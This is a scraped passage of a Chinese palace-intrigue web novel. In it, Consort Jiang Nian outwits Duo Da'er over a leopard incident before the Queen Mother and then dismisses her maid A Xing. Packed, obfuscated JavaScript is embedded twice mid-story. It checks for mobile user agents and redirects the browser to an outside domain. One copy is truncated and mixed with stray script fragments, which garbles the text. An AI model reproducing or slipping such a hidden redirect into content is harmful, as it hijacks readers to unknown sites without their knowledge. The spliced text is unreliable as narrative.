从什么时候开始变的,或是说,她换了又一种态度。 大概就是嶂山狩猎开始,这是一个分界,在此之前,朵妲儿根本没将她放在眼里,一直以一种上阶位的姿态旁观她。 嶂山狩猎时,她让她在众人前失了颜面,从而激起她的好胜心,最后,彻底让她心理失衡的应该是高太后对自己态度的转变。 这一系列事情,摧崩了这位贵女不曾屈于人下的骄傲。 可以这么说,在嶂山狩猎之前,包括嶂山狩猎那次,朵妲儿施展的手段皆为阳谋,基于规则和自身实力,想光明正大地将她碾压。 嶂山狩猎之后,便不同了,这位贵女居然摒弃一身傲然,暗施冷箭,行阴诡之术。 既然如此……那她就没必要太磊落了,需得把水搅得再浑一点。 江念抬眼看向阿星,心道,阿星不能再留在身边了,不过眼下首要是对付朵妲儿。 “阿星,你来。”江念招手,让她再近前一些。 阿星心跳加快,知道这是有办法了,忙膝行至江念身边,附耳过去。 江念低声说了几句,如此这般,如此这般。 “这……真的可以么?”阿星问道,语气透着不确定。 江念笑了笑:“无事,你就按我说的来,有我给你兜着,怕什么。” 阿星有了底,点点头:“那婢子现在要做什么?” “什么也不做,就一个字,等。” “等?等什么?” 江念默然不语。 秋月从旁摇了摇头,说不定回膳房才是阿星最好的归宿,不用动脑子,遂看向珠珠:“珠珠,你说等什么呢?” 珠珠眨眨眼,笑道:“等祥云殿传唤问……问审呐!” 没一会儿工夫,殿外来传,请梁妃殿下往祥云殿一趟。 江念起身,说道:“更衣罢。” 秋月问道:“不先知会大王一声?” “大王已经在祥云殿了,戏台子搭好,就等咱们。”江念理了理袖口,她虽不惹事,却也不怕事,她可不是朵氏,由着搓圆捏方,你布荆棘阵,我走霸王鞭,看谁笑到最后。 …… 江念在秋月的搀扶下下了步辇,走进祥云殿。 进入殿中,往上看去,上首端坐着高太后,她的右手边威坐着呼延吉。 右侧下首一溜排的位置坐着朵妲儿,朵氏,在朵氏右手边还坐着一女子,江念未曾见过。 只见那女子眉眼秀丽,窄肩细腰,安静地坐在那里,这人应该就是呼延成的另一妻室,肖妃。 江念听说这位肖妃一直深居简出,性情十分寡淡,圣太后这个年纪的老人更喜欢活泼一些的年轻女子,便免了她每日的晨省昏定,不怎么爱见她。 今日也是赶巧,朵氏去了肖妃的殿宇,两人坐着说了一会儿话,然后又一同去了孔雀苑漫步,自然而然就撞上了金豹冲撞圣太后的一幕,之后两人一道回了祥云殿。 而呼延吉那边不用说,定是宫人前去传报的。 就这么,上首并坐着圣太后和呼延吉,下首第一位坐着朵氏,朵氏右手边坐着肖妃,肖妃旁边坐着的便是朵妲儿。 江念走到殿中,朝上行礼:“妾身恭请太后圣安,恭请大王圣安。” “起来说话。” 是呼延吉的声音。 江念谢恩起身,余光往呼延吉面上瞥了一眼,见他没有什么过多表情,只是把她看着,眼中有一丝丝问询。 金掌事立于高太后身侧,启口道:“梁妃殿下,女婢饲养的金豹冲撞了太后,此等管教失当之罪,可愿领责?” 江念双手端于胸前,不疾不徐道:“回圣太后,女婢饲养的金豹冲撞了太后,此乃实情,臣妾认下,但是这个罪责,臣妾不认。” 金掌事侧头看了高太后一眼,高太后闭上双目,眉心微锁,显然刚才惊吓着还没完全缓过神。 呼延吉亲自替她续上茶水:“母后,喝茶。” 高太后缓缓睁眼,横了一眼小儿子,这是替自家媳妇下声赔罪?心想着,要不算了,她也有些乏了,再这么一折腾精神跟不上,正待给金掌事睇眼色,一个声音响起。 “江姐姐这话可是怪了,怎么你养的金豹冲撞了太后她老人家,你说是实情,既然是实情,却不认这份罪责?太后脾性好,姐姐却不能这般得寸进尺。” 朵妲儿端坐在椅上,笑看着江念。 江念一个眼风也不给她,仍是面朝上首,恭声道:“禀太后,该妾身认的,妾身会认,可不该妾身认的,妾身绝不认,适才说金豹在孔雀苑冲撞太后,这是实情,但实情之外还有隐情,这也是妾身不认罪责的原因……” 第148章 引诱 金掌事看了一眼高太后,高太后颔首,金掌事重新看向殿下的江念。 “梁妃说实情之外还有隐情,是何隐情?” 江念不答,反问道:“金掌事,可否相告当时生乱时的情景。” 金掌事想了想,当时梁妃不在场,问这话也合情理,便将事情经过完整说了:“妲姑陪同太后游转孔雀苑,太后平日难得往下走一趟,妲姑也贴心,便叫奴才们将雀儿驱拢到太后跟前,又撒投鸟食于地面,太后看着有趣,也跟着喂了一些。” 老妇人说到这里,顿了一顿,又继续道,“就在这个时候,灌木中突然冲出一头金豹,把正在吃食的雀儿咬断了脖,后来又朝太后跟前吃食的几只雀儿扑来,众人惊骇,太后气喘不平,口不能言……” 江念唯有庆幸高太后无事,若真吓出个好歹,有没有被人设陷已不重要,因为不论怎么辩解她都脱不了干系,而她同呼延吉之间兴许会产生裂痕,毕竟那是他的生母,不可能无动于衷。 同样的,若她的家人因为呼延吉而受到伤害,她也会计较。 朵妲儿此计不可不谓之阴毒。 高太后不常往孔雀苑,今日却刚巧在朵妲儿的陪同下去了孔雀苑,落后她的贴身婢女诱阿星牵金豹去孔雀苑。 孔雀苑那么大,走上一日也走不完,两方偏偏就撞上了。 闪电虽不亲人,却也不会往人身上生扑,它极不愿近人,但类猫儿、类狗儿的大小兽,偏就对禽类抵不住,那么些孔雀围拢在一处,它要能忍住才是奇了。 一环接一环,环环都安排得恰到好处。 江念听了金掌事的备述,问道:“除了金豹,可有见到什么人?豹儿一向关在兽园,总不能自己打开门锁跑出来。” 这话一出,朵妲儿吃吃笑出声,起身走向江念,她现在可一点也不惧,就算呼延吉再护妻,可他作为君王,众目之下,逃不过一个“理”字。 “江姐姐何必揣着明白装糊涂,没人牵引,这畜生怎会跑到孔雀苑,众人皆看见你的婢女,那个叫阿星的,怕担罪责撒腿跑了,若不是我的婢子叫喊,咱们倒不知这畜生背后有人——” 朵妲儿言语轻轻,话里有话。 江念回头笑看向朵妲儿,问道:“你的婢女?妲儿妹妹的婢子怎会同我的婢子在一处?” 朵妲儿故作委屈,敛裙向上一跪,两眼诚坦坦,轻颤着唇瓣:“太后明鉴,大王明鉴,江姐姐这话是什么意思,言下之意她家婢子往孔雀苑是妲儿的婢子诱引的?” 说罢,又侧过头看向江念,仰头泫然道:“江姐姐这是不愿认下罪责,打算往妲儿身上泼脏了?若是小打小闹,妲儿吃个闷亏也可,只是此次事关太后,若妲儿认下,岂不否了妲儿对太后的一片敬爱之心,也辜负了太后对妲儿的喜爱,所以这个罪责妲儿万不会认下。” 江念不作理会,微微一笑,看向上首:“太后,大王,妲儿妹妹坚称无罪,可否让她先起身,妾身不过问她一句,她这扑通一跪,怪吓人的……”落后又追一句,“待会儿有罪,再跪也不迟。” 朵妲儿两眼睁瞪,气得一噎,什么叫“待会儿有罪,再跪也不迟” 呼延吉略抬了抬手:“妲姑起来说话。” 朵妲儿谢恩,红着脸起身,心中懊悔,从头至尾江念闲适自如,反倒显得她急于证明什么,当时那么些人都看见了,她根本不必过于表露,遂调转姿态。 江念问她:“妲儿妹妹,可否让你的丫头上前来,我问她两句话?” 朵妲儿给自己的丫头睇了一个眼色,琴奴碎步上前,立定,正待伏跪下,江念却一把拉住她的手,在其手背上轻拍两下:“好丫头,你说说看,到底是怎么回事……” 说着亲昵地抚平琴奴的衣襟,替她理了理垂在胸前的发辫,柔声道:“你看,太后同大王都在,你可要说实情,若有半句虚言,后果你担不了,一定想清楚了……” 琴奴不知怎的,心底生出慌乱,作为朵妲儿的贴身侍婢,行事自然也不一般,然而没由来的,梁妃靠近时,她竟浑身一激灵。 还有那话里的意思,她明白,似是威胁和告诫,倒像是最后的机会…… “琴奴,当时是怎么回事,你只管说来。”朵妲儿说道。 琴奴听见自家主子的声音,驱散乱思,认为自己多想了,她的话,就是最直接的证言,梁妃不认也得认。 “婢子本是一道去孔雀苑,半路主子觉着有些闷热,叫我回去拿芙蓉清露,婢子便回了东殿,待取了芙蓉清露再往孔雀苑来时,遇上了东殿的阿星,我见她牵着一头金豹,便告诉她,圣太后在此处游园,速速牵去,莫要惊扰了慈驾,她却说……” 上首一道略带疲惫的苍沉调问出:“说什么?” 琴奴“砰——”的一声跪下,瑟缩着说道:“阿星说……金豹是梁妃的宠物,是梁妃叫她到孔雀苑遛金豹的,就是太后在此又怎样,这豹子可比人的命金贵哩!” “哗啷——”一声,高太后将手边的茶盏扫落,面色铁青,胸口起伏不平。 呼延吉看了一眼江念,又侧身对高太后说道:“母后莫要气恼。” 高太后面色沉沉,闭上眼,搁在桌案上的指颤了两颤,显然气得狠了,再次睁眼,看向江念:“梁妃,你有什么话说?” 一旁的金掌事诧于太后没有直接怒责梁妃,仍给她譬解的机会。 江念彻底放松下来,她就是要琴奴承认她同阿星走到一处,有她亲口承认,接下来就好办了…… 江念正色道:“回太后的话,这丫头在撒谎。” 琴奴慌得磕下头:“太后明鉴,大王明鉴,婢子没有撒谎……” 江念继续道:“妾身之前说实情之下还有隐情,不能只听这丫头一面之词,不若叫妾身的丫头上前说一说,看看到底是何种经过。”说着,转头,“阿星,上前来,事实到底如何,你也说一说,咱们虽然老实,却不能让人这样污蔑,颠倒黑白。” 阿星上前,向上跪拜,说道:“回禀太后、大王,并非琴奴阻拦婢子去孔雀苑,恰恰相反,是婢子阻拦琴奴去孔雀苑。” 此话一出,众人糊涂了,两人的说辞截然相反。 阿星继续道:“今日,婢子照往常一样去兽园,待要将金豹牵去后湖那一爿遛弯,谁知去了兽园,竟然没寻到金豹,婢子想了想,不会是别人,定是琴奴把金豹牵走了。” 朵妲儿还以为会说什么,轻笑一声:“无稽之谈,这丫头满嘴谎言,豹子不在兽园,怎么就认定是我的琴奴带走了金豹?何等荒谬!照此一说,日后谁不见了东西,心里认定是谁便是谁?咱们夷越的府令都可褪袍还乡了。” 立于上首的金掌事听罢,低声在高太后耳边说道:“两方各有说法,不如把看守兽园的宫人传来,一问便知。” 高太后“嗯”了一声,立时传唤看守兽园的宫人来。 待看守兽园的宫人来后,回了问话,结果就是,守门的宫人自称他被另一宫人叫走了,并没看到是谁带走的金豹。 事实是,他看见了,可他不能说,两边他都不敢得罪。 守门人失职的罪责,容后再过问,当下又回到谁把金豹带去孔雀苑的问题上。 “太后,那畜生是梁妃的宠物,明摆着就是她丫头胡乱攀咬,自己的豹儿没管好,却推诿到我的丫头身上,什么叫我的丫头牵走了金豹?简直荒唐!”朵妲儿讥笑一声。 这个阿星能说出此番话,必是江念在背后教唆,亏她想得出来,之前真是高看她了,走投无路下,黔驴之技耳! 高太后也有些不信,这话叫谁听了都不太信,一头凶兽,怎会被一个无端之人牵走。 一直坐着不曾出声的朵氏,说道:“小妹急什么,是不是胡乱攀咬总要叫人把话说完。” 阿星侧头看了江念一眼,见江念对她点头,于是舔了舔唇,继续道:“婢子之所以认定琴奴,是因为琴奴常常给我们金豹投喂,之前婢子带金豹遛弯时,她常抽空来逗玩,金豹也喜欢她哩。” 跪下一旁的琴奴,睁着一双大眼,看傻子一般把阿星瞪视着,头顶焦雷连炸,心道,疯了罢,不兴这样啊,咱们扯谎也不能太跳脱罢。 可阿星不管,照着江念教她的说下去:“后来婢子一想,指定是她把金豹带去了孔雀苑,她曾私下同婢子说,想看豹儿撵孔雀,看看是金豹扑得快,还是雀儿飞得快……” 豹儿撵孔雀,看看是金豹扑得快,还是雀儿飞得快…… 除了上首的圣太后和大王,殿中众人一个个辛苦地压着嘴角,死死咬着唇,努力憋着气,生怕一个没忍住笑出声。 琴奴在一边听着,恨不得拍手叫好,这可真是阎王写状子,鬼话连篇呐! 语不惊人死不休,阿星接下来的话,叫琴奴差点没忍住扑上去撕她的嘴…… 第149章 求抚摸 朵妲儿同琴奴两主仆,愣是呆了半晌才把阿星说的话理清,此乃人言? “那会儿乱时,我们可都看见你和琴奴站在一起。”高氏说道。 阿星心里虽紧张,但面上不显露,江念说过,有她给她兜底,于是吞了一口唾沫说道:“太后没看错,婢子是去了,这个婢子认,但婢子去孔雀苑是为了追琴奴,想要截住她,只因金豹野性未泯,担心出事,结果去晚了,还是出了事,婢子害怕,情急之下趁乱跑了……” 好了,现下两方各执一词,谁真谁假?毕竟当时所有人都见到她二人几乎同时出现。 朵妲儿的侍婢琴奴说,阿星私带金豹去孔雀苑,她言语劝阻未果…… 而江念的侍婢阿星说,琴奴私带金豹去孔雀苑,她追赶拦截未果…… 可这里面有一个关窍,金豹是江念的宠物,平日由阿星喂养,生人无法靠近,如此一来,琴奴牵引金豹去孔雀苑就说不通。 朵妲儿以为自己够会演了,想不到江念比她更胜一筹!这颠倒黑白之词她叫丫头说出来不心虚? “那金豹岂是任人牵走的,说我婢女喂养它,更是污蔑,只怕我家琴奴还没靠拢,那畜生就龇牙扑来。” 琴奴听说,搅糊的脑子一醒,忙在旁边添火加柴:“是了,咱们这些人连靠都无法靠近金豹,又怎么可能牵走它,梁妃殿下为了维护自家婢子也不能诬赖无辜之人。” 江念一笑,说道:“那好办,妾身斗胆请人将金豹牵了来,在殿内走一圈,一切就分晓了。” 高太后看向呼延吉:“大王你说呢?” 呼延吉用余光扫了眼江念,再向太后说道:“儿子听母后的意思。” “那便让人把金豹牵上殿来。”她还真想看看,到底谁在撒谎。 然而事实是,双方都未道尽实言,不过是一场你来我往的较量,端看最后鹿死谁手。 不一会儿,一头如同成年灰狼大小的影,在宫人的牵引下走来。 只见那金豹通身皮**油亮,金底之上是铜银般大小的墨圈,华丽中透着慵懒的野性。 它的颈脖套着皮革圈,皮革圈上的绳索牵在一宫人手里,那宫人不是别人,正是呼延吉跟前的丑奴,他看起来倒是不怕,不过也不敢离金豹太近。 金豹进到殿中,先伏下前肢,抻了个懒腰,然后竖起尾巴,慢悠悠地径往江念而来,拿身子在她腿上蹭了蹭。 然后又走向阿星,在她垂下的胳膊上略略一蹭。 接下来的一幕,叫所有人惊愣当场,只见金豹从阿星跟前离开,走向跪在阿星旁边的琴奴,在她身上来回蹭,最后干脆伏在她的脚边,翻出肚皮,蜷起四爪,求抚摸。 琴奴膝行着往后退两步,金豹起身,又是一个翻身蹭到她的腿边。 “不是,主子,我没有,我真的没有,怎么会这样……”琴奴跪求着看向朵妲儿,又激动道,“它一定很亲人,对所有人皆是如此讨欢。” “阿丑,你牵着闪电走一圈,拽住绳索。”江念吩咐道。 阿丑应是。 殿中众人敛神屏息,观测这头名为“闪电”的金豹在靠近生人时会有何种反应。 结果是,金豹根本不亲人,甚至还朝几个宫奴龇牙,尾巴也垂下了,肉眼可见的焦躁起来,结果走了一圈,又走到琴奴面前,伏趴下,翻滚敞肚皮。 朵妲儿不知该作何反应,直到上首响起高太后的声音:“妲儿,你还有什么可说的?这就是你的丫头做出来的事!” “主子,我……”琴奴正想替自己分辨两句,“啪——”的一声,一记重重的耳刮将她的话截断。 “好大胆狗奴才,你存的什么心!是来报复我的?是我平日待你哪里差了,还是哪里缺了?叫我在太后老人家面前怎么立得住,这且罢了,她老人家若有个一星半点的不好,你我一头撞死在这梁柱上都不够抵罪。” 朵妲儿说着两眼滚下泪来,然后向上一跪,往前膝行几步,泣声道:“太后您罚妲儿罢,是妲儿教管不当,这婢子妲儿不留了,是杀是刮由您处置,妲儿也甘愿领罚。” 朵妲儿心下明白,她若咬死不认,也不能拿她怎样,毕竟金豹亲近琴奴,不能直接说明金豹是琴奴牵去孔雀苑。 然而,此时此刻,就算她不认,众人心里已有判定,她再说就是诡辩,只会让圣太后对她生厌,一旦生了厌烦,很难消弥,那可就得不偿失了。 无论如何,在父亲那边还没准信之前,她这边不能出错,如今唯有认下、忍下。 这一场……她输了…… 高太后看向呼延吉,问道:“妲儿的贴身女婢,诬陷了梁妃,大王看该如何处置。” 呼延吉看了一眼朵妲儿,朵妲儿正以指顶着巾帕,拭着眼下的泪,好不可怜的模样。 “那奴才冒犯了母后,还是母后定夺,儿子没有异议。”呼延吉这个时候自然不会发话。 高太后颔首,说道:“妲儿,你这婢子在王庭留不得,贸然将凶兽带去孔雀苑,说什么想看金豹扑得快,还是雀儿飞得快……” 说到这里,高太后顿了一顿,差点说不下去,琴奴心底呐喊冤枉,这不是她说的啊。 阿星这会儿知道自己无事,心思又活泛起来,心道,还好江念脑子转得快,想出应对之策,不然她今日定然逃脱不了罪责。 众人皆在心里憋笑,只有江念正正经经立在那里,全然一副清白无辜貌,等着太后给她伸张正义。 高太后语调突转,厉声道:“此奴犯错还在其次,犯了错还攀咬他人,是何居心?!” 这话虽是在说琴奴,可老妇人的一双眼却是看向朵妲儿。 朵妲儿浑身一激灵,眸光微霎。 “太后赐罪,是婢子同阿星有私仇,见不得她好,眼见着闯了祸,就想把罪责推到她的身上,一来,可将自己摘干净……二来,又可让她受责罚……全是婢子的错……” 琴奴不禁想起梁妃对她说的那番话,让她想好了再回答,原来从一开始都在她的算计内。 事已至此,她没有别的选择,只能替主人背锅,若能活下来,出了王庭,还能在朵府立足,若把主人供出,责罚不少,赶出王庭后在朵家不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江念本是笑着的,这会儿在面对朵妲儿时,脸上的神色却很认真。 “妲儿妹妹,你不必同我认错,就算你嘴里说着认错的话,我也知道未必真心,你真正该认错的人是太后她老人家,庆幸她身子还算康健,她真要有个不好,你我二人能善了?这个祸事总得有人顶下,你觉得是你还是我?” 朵妲儿也收起了笑,她虽不想承认,可这话没错,太后无事,那么一切由太后说了算。 若太后惊吓过度,一病不起,或是就此西去,便由那位霸王似的人发落了,最后死的一定是她,很可能连朵家都保不住她。 今日呼延吉只作旁观,也是因为有圣太后镇坐着。 朵妲儿心底虽清楚,面上却不相让,也不再遮掩,冷笑一声:“今日这场是我输了,可最后赢的一定是我,你不过一个无所依仗的异族女子,而我的身后不止有朵家,更有五上姓,甚至整个夷越臣民,江念,你在强撑什么……” 第150章 羞辱 朵妲儿见江念不语,更进一步,又道:“你若真聪明,就该认清你我二人高低之别,可你却选择站在我的对立面。” 说罢,撇过头,看向殿内正同肖妃往外行来的朵氏。 “你看,我这个阿姐可比你聪明多了,知道该依傍谁,如今老实服帖得跟绵羊似的,江姐姐,你也该学一学,识时务者方为俊杰。” 这话音没有刻意压低,朵氏自然听见了,她行来的步子顿了顿,最后快速出了西殿,在她身后的肖妃经过江念时,稍稍颔首,也离去了。 江念看向朵妲儿,微笑道:“妲儿妹妹的意思我仍有些不明,不如直接明说。” “我兄长已赴往东境,不久那边就会传来消息,届时,并肩于大王身侧的便是我,江姐姐,你不会不清楚,何不把眼光放远一些,你今日也看见了,连太后她老人家亦对我容情。” 江念听着,问了一句:“我知你不会无缘无故对我讲这些,所以妲儿妹妹想让我做什么?” 朵妲儿就喜欢同聪明人说话,一点就透,走到江念身侧,说道:“江姐姐不如替我在大王面前美言几句,你的话,他应是听的,这样对大王来说,也是好事,对不对?” 江念听后,先是一呆,接着以帕掩嘴儿咯咯笑起来。 “你笑什么?”朵妲儿往后退了几步,望向江念的脸。 江念缓缓收笑,摇了摇头,说道:“朵妲儿,你自以为聪明,步步为营,把人心算计得明明白白,叫我说,你还不如东殿大妃,起码她敢爱敢恨,你呢,只怕连你自己都识不清自己。” 江念隔空指向朵妲儿的心,如同朵妲儿当初在树下羞辱朵氏一般,那个时候,朵妲儿点着额穴讥讽朵氏脑子不行。 而今立于她对面的江念,隔空指着朵妲儿的心,轻缓缓地说了一句:“朵妲儿,你这里……是空的……” 有情也好,无情也罢,每个人活法不一样,是非莫辨,可让江念看不过眼的是朵妲儿为了自身目的,理所当然地凌驾于他人之上, 明的不行,又来阴的,还要给她这种自私之尤的行为冠冕,也就是说,只要是她想要的,所有人都需给她让道。 朵妲儿的面色彻底冷下来,江念的每句话都惹她不快,尤其是她说的那句,她不如朵氏。 朵妲儿在江念面上睃了一眼,冷笑道:“记住你今日的作态,看你能得意到几时。” 说罢,转身离开。 江念看着朵妲儿离开的背影,心头掠过一片阴影,她没有退路了,如果朵妲儿坐上大妃之位,她不会有好下场。 呼延吉再护她,也有照看不到的时候,而她也不想拖累他,事事依托他。 至此,东境那边的形势已不仅仅是两国之间的较量,她需助呼延吉赢下这一场东境之争,不论是对朵家,还是对梁室。 祥云殿内室,案几上的兽炉冉冉升起紫色的细烟,呼延吉坐于高氏身侧。 “我知道大王胸有丘壑,只是眼下宜施恩于朵家,大王春秋鼎盛,日子还长,想要归拢王权不在朝夕,清后账的日子还怕没有?届时朵氏一族之存废只在你手掌翻覆间。” 高氏说罢,见自己这位小儿子默然不语,又道,“你若顾虑梁妃,大可不必,她从前也是世家贵女,在她们大梁,男子不也三妻四妾?何况,她如今并非妾位,而是你的妻室,我见她也算懂事,这点世情她懂得,不会不体谅于你。” “你娶朵妲儿,不过是缓兵之计。”高氏停了一会儿,说道,“话再说回来,梁妃异族人的身份摆在那里,你总归需要一个纯正的夷越血脉承袭手中基业……” 呼延吉见她又扯到子嗣一事上,忙把话截断:“母后安心,儿子会想办法对付朵家,朵妲儿还得母后替我将她留于王庭,先稳住朵家,待此次东境事了,有些规矩得变一变了。” 高氏点头说道:“你也得做做样子,把她这么冷着也不像样。” “是,儿子明了。”呼延吉说道。 …… 江念回到西殿,秋月替她宽衣,换上常服,然后出了寝屋,到外间。 “把阿星叫来。”江念说道。 秋应声去了,不一会儿,阿星随了来。 江念也不绕弯子,直说道:“出了这个事情,西殿你不能再待了,我叫木雅给你在王庭另安排一个去处。” 阿星猛地抬起头,双手在衣袖下紧紧攥起,说道:“梁妃殿下这是撵我?” 江念看了她一瞬,见她两眼不服气地瞪着,没有一点知悔认错的态度,遂说道:“你觉着出了这次事情,你还能待在西殿?” “为何不能待在西殿,这次的事情不能全赖我。”阿星说道。 秋月听不过,气嗔道:“你怎么同主子说话,刚才在祥云殿,若非主子替你担责,你焉能安然站在这里。” 阿星和秋月本就不对付,这会儿也不遮掩,说道:“你少来,就你会来事,会奉上,主子就是听信了你这小人的话,才冷落了我,大家都是一样,怎么就独独留你在身边,打发我去照顾闪电?” “你……” 江念一抬手,打断争论:“秋月,你让她说。”然后看向阿星,“无妨,今儿你有什么说什么,把心里话说出来。” 阿星扬起下巴,说道:“这次的事情不全是我的错。” 江念“嗯”了一声:“那你的意思是?” “明明她们要害的人是你,这才把主意打到金豹身上,我也是被牵累的,所以说这件事不能全赖我,梁妃不说屈着了我,怎的还让我走?就不怕寒了人心?” 江念点了点头,腔调平平:“你的意思是……你被我牵连了?我还得给你一些补偿?” 阿星冷着脸,不说话,这意思就是默认了。 江念当真是凉了心,呼延吉说的对,她这人的毛病就是太过护短。 她总想着阿星虽然没分寸,做事呢爱耍脾气,可到底没出现过大错,也无害人之心,可有句话怎么说来着?升米恩,斗米仇。 她对阿星的宽容,在她看来成了理所当然的事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477510|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当下,江念也不再给她留任何脸面,冷声道:“你话里的意思我明白了,你是受了我的连累,所以我还该安慰你,给你赔不是。” “怎敢让梁妃给婢子赔不是,只是别将所有的罪责扣到婢子的头上就好。” 江念又是轻轻地一声“嗯”,从桌案上端起茶盏,呷了两口,再放下,启口道:“你是不是忘了自己是什么身份,不打紧,你忘了,我来提醒你。” 说着,声音陡然一冷:“我是主,你是奴,做奴才的,无非两点,其一,听命尽忠,也就是服从和忠诚,可我在你身上看不到一点,其二,护主担责,甚至代主受过,你不仅做不到,遇事反怨主上,那我倒要反问你一句,这尊卑上下,谁主谁奴?!” 阿星怔在当地,面皮涨红,嗫嚅半晌,说不出一句话来。 “是不是我同你曾居于一室,就让你认为可以同我并坐并立?是不是想着凭什么我能当主子,你却不能当主子?”江念一句逼问一句。 这些话阿星从不曾说出口,可江念把她看得明明白白,并且毫不留情地抖搂出来。 “你不过是沾了我的光,再说直白些,你能站在西殿,站在我面前,是我舍给你的,却让你生出高人一等的错觉。” 江念见她咬牙强忍,涨红着脸的模样,只觉得多说一句都是浪费,吩咐木雅:“给她在别处寻个差事。” 阿星一听,两眼滚下泪来,仍然不愿低头认错,只道江念吓唬她。 眼睛往四周一扫,心道,达娃、帕依、木雅还有秋月这些人都在,只要自己硬气一点,决绝一点,便能拿话儿降伏江念,今后在这西殿里,再没人敢瞧不起她,任何事还不是由着她。 “我知道你是嫌弃我了,也不用把我调离西殿,打发到别处,寻个劳什子差事,不如直接把我驱逐王庭,以后眼不见心不烦,岂不更好?!” 你要把我调走,那我就干脆离开王庭,震你一震,总要叫你来求我,给我台阶下。 “离开王庭?”江念定定地看着阿星。 “梁妃既然不留婢子在西殿,不如让婢子离开王庭。” “你当真?” 阿星冷笑一声:“自然当真。” 江念闭上眼,再次睁开,说道:“木雅,将她领去内侍司,核实身份,备案登记,放归,出王庭。” 一语毕,阿星彻底傻了,放归?出王庭? 待她醒过神来,江念已在宫婢的环护下进了寝殿,她想要跟去,却被宫奴们拦下,驱出殿外。 “木雅,我刚才说的不是真心话,你让我进去见一见梁妃殿下。”阿星说道。 木雅冷着脸,不睬她,给宫奴们睇了眼色,宫奴们将阿星缚住,不让她进入西殿。 “阿星,既然你自己要出王庭,梁妃殿下应了你的要求,你又这么个作态,以为王殿是什么地方,想来就来,想走就走?当成自家菜园子?”木雅面无表情地说道。 “让我见一见梁妃,只要我求她一求,梁妃会心软留下我的……” 第151章 月下私语 阿星央浼木雅,让她进西殿。 木雅又道:“你见梁妃殿下蒙王之恩宠,便生出不该有的妄念,你以为平时那些小动作,小伎俩,咱们都不知道?” 阿星在宫奴手里挣了挣,有些不服:“怎么就是妄念,王对梁妃好,难道就只对她好?不看别人了?大王平日对我就会多看两眼,你们就是嫉妒。” 木雅冷笑连连,叹息着摇头,想着她马上要出王庭了,不妨再多说几句:“你可知我跟在大王身边有多久了?” “你不用拿这个压我,知道你是西殿的老人,那又怎样?” 木雅走到阿星面前,嗤笑一声:“你说大王平日多看你两眼,那我告诉你,大王他不看你,才是好事,他若多看你两眼,你可就得当心,因为不知什么时候,麻烦就来了。” 阿星先是一怔,接着道:“你少唬我,若大王真是这样,为何我现在还好好的?” “那是因为大王顾及梁妃才没计较你的冒失,你以为咱们西殿是什么人都能进的?你也太把自己当回事了,再说句你不爱听的,秋月、达娃几个我就不说了,就是十来岁的珠珠都比你强。” 木雅忍阿星也不是一两日,这会儿不吐不快,“作为奴才,你成日不想着怎样伺候好主子,不学习如何料理殿中事务,却把主意打到大王身上,我问你,你将梁妃置于何地?!” “江念她以前也是奴才,怎么她可以,我就不可以?你们又凭什么看不起我。”阿星憎。 “你怕是没弄清楚,大王幸宠王妃,同她的身份没有关系,别说她先前落难,不得不伏身于底层,说句造次的,无论她沦落成什么模样,大王要的是她这个人,因为有她这么个人,王才立妻室,不是说她可以,你就可以。”木雅缓下语调,看向阿星的眼神可怜中透着可悲,“阿星,你走错了道,且越走越远,梁妃给了你多次机会,却拉不回你,这些我们都看在眼里。” 阿星早已满脸是泪,虽嘴硬不承认自己有错,可心里清楚,她耗光了旧情。 “你让他们松手,我自己会走。”阿星垂下头。 木雅见她冷静下来,说道:“松开她。” 阿星垂首看着自己的脚面,深吸一口气,再次看向木雅:“我想回下人房把自己的东西清了。” 木雅吩咐一旁的宫奴:“你们跟着她一起,看好了。” 宫奴们应下。 阿星回到下人房中,清了几件衣裳,她的东西本也不多,也没什么值钱的东西,在屋里走了一圈,在床榻上坐了一会儿,不知想到什么,走到妆台前。 打开妆奁,从里面拿出一个巴掌大的花鸟纹的描漆圆盒,那盒上的纹样有些败色。 这时,房门缓缓推开,两个笑眉笑眼的女子走进屋,一个温柔,一个圆脸,两人对着一个方向说道:“天还没暗,你就睡下了,今儿怎的下值这么早?” 榻上鼓鼓的凸起闷声道:“西施抹粉,弄巧成拙……” “西施是谁……” 鼓起的衾被掀开,衾被中的女人指着自己泥糊的脸,哭丧道:“我!我就是西施!” “天爷!这西施也太吓人了!” 然后三人相互打趣着,笑闹在一处,笑声渐消,那三人也散了…… 阿星在盒盖上抚了抚,把脂粉盒放入包袱里,行当打点好,出了屋子,经过西殿前,立住脚,见木雅仍在殿门前,走上前。 “怎么,你仍不死心,还想求见梁妃殿下,想给自己求情?”木雅不可能放阿星进西殿。 “我不见梁妃,也没脸再见她了,劳你把这个东西交给她。”阿星说着从包袱里取出脂粉盒递给木雅。 木雅不接,向下睨着那物:“这是什么?” “就是一个脂粉盒。” 木雅这才接过,在手里翻转着看了几眼,点了点头:“我会呈递于梁妃,你随宫奴们去内侍司办出宫手续罢。” 阿星目光错过木雅,恋恋不舍地往西殿内看去。 一旁的宫奴们不耐烦地催促:“走罢,别磨蹭了,咱们还得交差哩。” 又一个宫人嘀咕了句:“身在福中不惜福,叫我有这么尊大佛罩着,还不得把大佛供着、哄着,盼着贵人好。” 阿星不语,随着宫奴们往西殿外走去,待她离开后,木雅身后出来一人,正是秋月。 “木雅姐,她刚才给你什么?” 木雅将手里的脂粉盒拿出,轻嗤了一声,说道:“一个脂粉盒子,让我转交给梁妃殿下。” 秋月点了点头:“那给我罢,我拿进去。” 木雅摇了摇头,收回手里的脂粉盒。 “怎么了?”秋月问道。 